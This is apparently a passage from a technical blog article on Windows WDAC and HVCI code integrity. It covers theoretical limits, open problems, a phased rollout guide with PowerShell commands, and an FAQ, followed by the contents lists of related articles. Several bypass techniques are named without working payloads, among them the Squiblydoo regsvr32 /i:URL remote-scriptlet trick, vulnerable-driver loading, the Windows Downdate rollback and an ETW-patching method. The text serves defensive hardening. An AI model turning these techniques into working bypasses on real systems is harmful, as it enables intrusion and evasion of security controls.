Documented bypass class	LOLBINs + BYOVD	Notarization gaps	Off-by-default IMA	Sandbox escapes

The Windows distinction is structural. A hypervisor-rooted runtime enforcement loop, against an XML-schema author-anywhere policy, evaluated at every PE load by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties.The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.

The Windows answer is structurally singular. Apple is more locked-down but less configurable; Linux is more configurable but less locked-down; Android sits between but enforces at a coarser boundary. Only Windows ships a tenant-configurable XML policy, evaluated by a hypervisor-rooted check, at every page-fault, on every PE load. That ambition is what makes the Windows design teachable. It is also -- precisely because of that ambition -- the design with the deepest theoretical limits.

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface

Fred Cohen proved in his 1984 paper Computer Viruses -- Theory and Experiments that the general problem WDAC tries to solve is undecidable. "Detection of a virus is shown to be undecidable both by a-priori and runtime analysis," [@cohen-eecs588] Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC in 1986 [@wikipedia-fred-cohen], where Leonard Adleman (the A in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in Computers & Security in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- is this exact bag of bytes, with this exact signature, on the trusted list? -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

Key idea: WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

Henry Gordon Rice's 1951 doctoral result at Syracuse University [@wikipedia-rices-theorem]: every non-trivial semantic property of a Turing-complete program is undecidable. "Will this program ever execute arbitrary code from a network argument?" is a semantic property. Rice's theorem says no static analyser can answer it for `regsvr32.exe`. This is why signed-but-vulnerable LOLBINs persist in Microsoft's bypass catalogue [@ms-bypass-catalogue] -- Microsoft cannot statically prove that `regsvr32.exe` will not host malicious scriptlets, so the only available remedy is to add it to the deny list inside the allow list.

The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that write a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of existing executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in RET instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. Kernel Data Protection [@ms-kdp-blog] closes the data-corruption variant -- attackers shifting from modify code to modify data that drives code -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's own Learn page on the Block List [@ms-driver-blocklist] says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions. -- Microsoft Learn, Microsoft recommended driver block rules, 2026.

The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to $250,000 USD [@ms-hyperv-bounty] on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does not break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

Bound	Source	What it implies
Cohen 1986 lower bound	Cohen, Computer Viruses -- Theory and Experiments [@cohen-eecs588]	General malware detection is undecidable; allowlists are the only decidable primitive
Rice's theorem lower bound	Rice 1951 [@wikipedia-rices-theorem]	Static analysis cannot decide non-trivial semantic properties of LOLBINs
Reachable bound	WDAC + HVCI + KDP + Block List + ASR + Defender for Endpoint	Decidable allowlist + curated deny list + EDR telemetry on the residual
Residual surface	ROP/JOP, signed LOLBINs, BYOVD ahead of cadence, hypervisor rollback	Microsoft response: KDP, hash-pinned bypass list, VMDRC reporting [@ms-wdsi-driver], KB5042562 [@nvd-cve-2024-21302]

A short proof-by-existence: the July 2024 Windows Downdate disclosure [@safebreach-downdate] used a downgrade attack to roll back HVCI's own runtime substrate to a vulnerable older version, exposing previously-fixed kernel bugs. The attack does not violate W$\oplus$X. It violates *temporal trust*: the assumption that the binaries enforcing the policy today are at least as trustworthy as the binaries that were enforcing it yesterday. Microsoft eventually addressed this with KB5042562 and the opt-in revocation policy [@nvd-cve-2024-21302] -- mitigations completed July 8, 2025 -- but the underlying class is still the same: the allowlist is decidable, the input to the allowlist is not.

WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

9. Open Problems: Where Research Lives Today

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the next generation of one of the residuals named in section eight.

Data-only attacks against HVCI and KDP coverage. KDP closes the data-corruption gap, but only opt-in per driver [@ms-kdp-blog] -- the driver author has to call MmProtectDriverSection for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

BYOVD-class drivers faster than the Block List update cadence. The Block List ships quarterly, with monthly Windows updates as the delivery mechanism [@ms-driver-blocklist]; the LOLDrivers community catalogue [@loldrivers] operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center [@ms-wdsi-driver] is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

Signed-but-vulnerable user-mode binaries. The forty-entry bypass catalogue [@ms-bypass-catalogue] keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with /i:URL arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in Defender's ASR rules [@ms-asr-rules] today; none of it lives inside WDAC's static schema.

HVCI rollback (CVE-2024-21302 Windows Downdate). Alon Leviev's Black Hat USA 2024 disclosure [@safebreach-downdate] used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed July 8, 2025 with KB5042562 [@nvd-cve-2024-21302]. But the Windows Update takeover that delivered the downgrade remains unpatched [@safebreach-downdate-update] because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory dbx hygiene plus UEFI-locked monotonic version counters for VBS binaries.

I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world. -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.

The post-CrowdStrike user-mode-security pivot. The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's September 2024 Windows endpoint security summit blog post [@ms-resiliency-2024] is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets [@paragmali-com-secure-kernel] is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.The LOLDrivers catalogue [@loldrivers] tracks new BYOVD entries on a daily cadence; recent April 2026 entries include iOCdrv.sys and Windows_CPU_Temperature_Component.sys, both classified as "Vulnerable driver." The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor's installed base on a Wednesday.

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is not contested -- the operational discipline a 2026 administrator should follow today.

10. Practical Guide: A Phased Rollout for a 2026 Estate

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

Phase 0 (week 1) -- silicon verification. Run Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard against a representative sample. Confirm that AvailableSecurityProperties includes 1 (hypervisor support), 2 (Secure Boot), and 7 (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later [@ms-memory-integrity]). Confirm that VirtualizationBasedSecurityStatus = 2 on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

Note: Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having "a bigger impact on performance" than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.

Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce. Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the Microsoft-Windows-DeviceGuard/Operational channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

Phase 2 (weeks 5-10) -- WDAC base policy in audit mode. Author a base policy from DefaultWindows_Audit.xml [@ms-example-policies] using New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. Deploy in audit. Iterate New-CIPolicy -Audit against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

Phase 3 (weeks 11-16) -- sign and enforce. Sign the base policy (Add-SignerRule -Update, Set-RuleOption -Option 6 -Delete, ConvertFrom-CIPolicy, signtool.exe [@ms-rule-options]). Validate the signed policy on a wave-1 subset before fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] at the Defender for Endpoint policy layer. Integrate the CodeIntegrity-Operational channel into your SIEM [@ms-asr-rules] via Defender for Endpoint advanced hunting -- the DeviceEvents table is your join point.

Note: A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the <UpdatePolicySigner> element of the currently active policy before you ship the new policy. Always increment VersionEx monotonically. None of these are nice-to-haves.

Phase 4 (ongoing) -- continuous tuning. Quarterly: refresh the Driver Block List policy [@ms-driver-blocklist]; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list [@ms-bypass-catalogue] against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue [@loldrivers] for new vulnerable drivers your environment ships.

Note: Audit volume goes near-zero before enforce, not "low" before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the VersionEx boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's own AppLocker overview [@ms-applocker-overview] disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

```powershell Get-CimInstance -ClassName Win32_DeviceGuard ` -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object AvailableSecurityProperties, VirtualizationBasedSecurityStatus, SecurityServicesRunning, CodeIntegrityPolicyEnforcementStatus ``` Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

11. FAQ: The Misconceptions This Article Closes

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

No. They share the AppLocker Application Identity service [@ms-applocker-overview] for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is serviced under MSRC criteria as a security feature [@ms-acfb-overview], meaning Microsoft treats a bypass as a vulnerability. Microsoft documents AppLocker [@ms-applocker-overview] as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses. No. NX (the No-Execute bit on x86-64) is a permission bit the CPU's MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL SLAT permission state [@ms-kdp-blog] held in the hypervisor's page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX's enforcement substrate is editable by the attacker; HVCI's is not. No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the `CodeIntegrity-Operational` channel [@ms-driver-blocklist] records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the July 2025 KB5042562 mitigation [@nvd-cve-2024-21302] closed that vector for the documented CVE. No. Smart App Control [@ms-sac-support] is the same `CI.dll` engine consuming an example WDAC policy (`SmartAppControl.xml` / `SignedReputable.xml` [@ms-example-policies]) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the Intelligent Security Graph [@ms-isg], the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers. No. Microsoft holds back blocks for compatibility [@ms-driver-blocklist] -- the canonical Microsoft Learn position is that breaking an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim "hold back some blocks" quote anchors the §8 PullQuote above. The LOLDrivers community catalogue [@loldrivers] tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months. No. The Microsoft Learn memory-integrity page [@ms-memory-integrity] reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill. Only if you remove the Script Enforcement opt-out (rule option 11, `Disabled:Script Enforcement` [@ms-rule-options]). The default is to enforce script-host coverage for the binaries listed in the bypass catalogue [@ms-bypass-catalogue] -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode. Mostly. But some policy options change behaviour even in audit mode -- for example, `Disabled:Runtime FilePath Rule Protection` [@ms-rule-options] removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.

Key idea: A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

<StudyGuide slug="wdac-hvci-code-integrity-at-every-layer-in-windows" keyTerms={[ { term: "WDAC", definition: "Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll." }, { term: "HVCI", definition: "Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\oplus$X for kernel pages via SLAT entries." }, { term: "BYOVD", definition: "Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution." }, { term: "VTL0 / VTL1", definition: "Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker." }, { term: "Squiblydoo", definition: "Casey Smith's April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient." }, { term: "SiPolicy XML", definition: "The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners." }, { term: "Driver Block List", definition: "Microsoft's recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+." }, { term: "ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5", definition: "The Defender for Endpoint 'Block abuse of exploited vulnerable signed drivers' rule that pairs with the Block List as the EDR-side telemetry partner." }, { term: "Cohen 1984/1986", definition: "Fred Cohen's 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector." }, { term: "Rice's theorem", definition: "Henry Gordon Rice's 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated." } ]} questions={[ { q: "What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?", a: "CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W->X SLAT refusal that emits CodeIntegrity-Operational event 3033." }, { q: "Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?", a: "Because the publisher rule scopes trust to the binary's signer, not the binary's behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch." }, { q: "What is the architectural inversion HVCI performs against Joanna Rutkowska's 2006 Blue Pill argument?", a: "Blue Pill argued the hypervisor was the attacker's substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender's substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1." }, { q: "Why does the Driver Block List always lag behind the LOLDrivers community catalogue?", a: "Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle." }, { q: "What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?", a: "Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run." } ]} />

Parag Mali - tag: kernel

Windows Filtering Platform: The Kernel-Mode Firewall You Don't See

1. You Just Clicked OK on Sixty Filtering Layers

2. Before WFP -- An Internet on Fire

3. Why Four Hooks Could Not Be Saved

4. The Evolution -- Five Generations of WFP

Generation 1: WFP v1 in Vista and Server 2008

Generation 2: WFP v2 in Windows 8 and Server 2012

Generation 3: Windows 10 ALE redirection (2015-2021)

Generation 4: URO and the CVE drumbeat (2022-2024)

5. Sublayers, Weights, and Veto -- The Arbitration Insight

Idea 1: Sublayers and weights

Idea 2: Block-overrides-Permit with Veto

6. The Modern WFP Surface

The filter engine and its kernel client

Roughly sixty filtering layers

ALE classification

In-box callouts and downstream features

7. Competing Approaches -- LWF, eBPF, Extensible Switch, and the Azure VFP

8. Three Ceilings -- Encryption, Offload, Kernel EoP

The encryption ceiling

The offload ceiling

The kernel attack surface

9. Open Problems -- Where the Engineering Lives

10. The Four Ways You Touch WFP

The diagnostic surface: netsh wfp

The administrative surface: wf.msc

The networking surface: New-NetNat and Hyper-V NAT switches

The driver surface: writing a WFP callout

11. Frequently Asked Questions

ETW: How Windows 2000's Performance Hack Became the EDR Substrate

1. Why didn't the patch silence Defender?

2. ETW in Windows 2000: the performance problem that started it all

3. The MOF era: one session, one steal, one decade of coexistence pain

4. Vista's eight sessions: the architectural decision that made the modern EDR endpoint possible

5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier

WPP: the C-preprocessor approach

TraceLogging: schema in the payload

Four classes, four trade-offs

6. Sessions, buffers, and the autologger registry: where the telemetry actually lives

7. Consumer architecture: from OpenTrace to KrabsETW to a 30-line process watcher

8. The security provider catalogue: what EDRs actually read

Microsoft-Windows-Security-Auditing

Microsoft-Windows-Kernel-Process

Microsoft-Windows-Kernel-File, Microsoft-Windows-Kernel-Network, Microsoft-Windows-Kernel-Registry

Microsoft-Antimalware-Scan-Interface

Microsoft-Windows-PowerShell

Microsoft-Windows-DotNETRuntime

Microsoft-Windows-Sysmon

Microsoft-Windows-Threat-Intelligence (EtwTi)

The catalogue as a single screen

9. The PPL / ELAM gate: why EtwTi is not for everyone

Protected Process Light at the Antimalware signer level

Early Launch Antimalware

The 1709 onboarding

Why this gate matters for the section 1 hook

10. Six vendors, three spectra: a map of the EDR consumer architecture

Axis 1: kernel callbacks vs ETW

Axis 2: PPL adoption

Axis 3: EtwTi consumption

11. The attack tradition: five generations of trying to blind ETW

Gen 1 (2014-2018): autologger registry tampering

Gen 2 (2020): user-mode EtwEventWrite 0xC3 RET patch

Gen 3 (2021-2023): kernel-mode primitives

Defense Gen 1 (2017): Antimalware-PPL + ELAM gate on EtwTi

Defense Gen 2 (2022): Vulnerable Driver Blocklist on by default

The 2026 picture

12. Theoretical limits: what ETW cannot see, even with every defence engaged

Pre-ETW kernel paths

Incomplete EtwTi syscall coverage

The async-flush gap

13. Open problems: keyword drift, secure kernel ETW, and the BYOVD arms race

1. EtwTi keyword inventory drift across builds

2. Secure ETW (the EtwSi* family)

3. Forensic soundness of ETW telemetry

4. The BYOVD arms race

5. Cross-process section-mapping coverage

What would a v2 ETW look like?

14. Practical guide: five things to do Monday morning

15. Frequently asked questions

The diagnostic surface: `netsh wfp`

The administrative surface: `wf.msc`

The networking surface: `New-NetNat` and Hyper-V NAT switches

7. Consumer architecture: from `OpenTrace` to KrabsETW to a 30-line process watcher

`Microsoft-Windows-Security-Auditing`

`Microsoft-Windows-Kernel-Process`

`Microsoft-Windows-Kernel-File`, `Microsoft-Windows-Kernel-Network`, `Microsoft-Windows-Kernel-Registry`

`Microsoft-Antimalware-Scan-Interface`

`Microsoft-Windows-PowerShell`

`Microsoft-Windows-DotNETRuntime`

`Microsoft-Windows-Sysmon`

`Microsoft-Windows-Threat-Intelligence` (EtwTi)

Gen 2 (2020): user-mode `EtwEventWrite` 0xC3 RET patch

2. Secure ETW (the `EtwSi*` family)

Stage 1: Physical detection (`usbxhci.sys`)

Stage 2: Initial device-descriptor fetch (`usbhub3.sys`)

Stage 4: Composite-device split (`usbccgp.sys`)